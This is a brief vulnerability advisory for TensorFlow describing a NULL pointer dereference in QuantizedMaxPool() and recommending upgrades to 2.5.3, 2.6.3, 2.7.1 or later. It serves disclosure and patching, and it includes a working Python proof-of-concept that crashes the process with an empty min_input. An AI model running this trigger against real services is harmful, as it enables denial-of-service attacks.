Upgrade tensorflow to version 2.5.3, 2.6.3, 2.7.1 or higher.
Overview
tensorflow is a machine learning framework.
Affected versions of this package are vulnerable to NULL Pointer Dereference via the implementation of the QuantizedMaxPool() function, which has an undefined behavior where user-controlled inputs can trigger a reference binding to a null pointer.
###PoC
import tensorflow as tf
tf.raw_ops.QuantizedMaxPool(
input = tf.constant([[[[4]]]], dtype=tf.quint8),
min_input = [],
max_input = [1],
ksize = [1, 1, 1, 1],
strides = [1, 1, 1, 1],
padding = "SAME", name=None
)
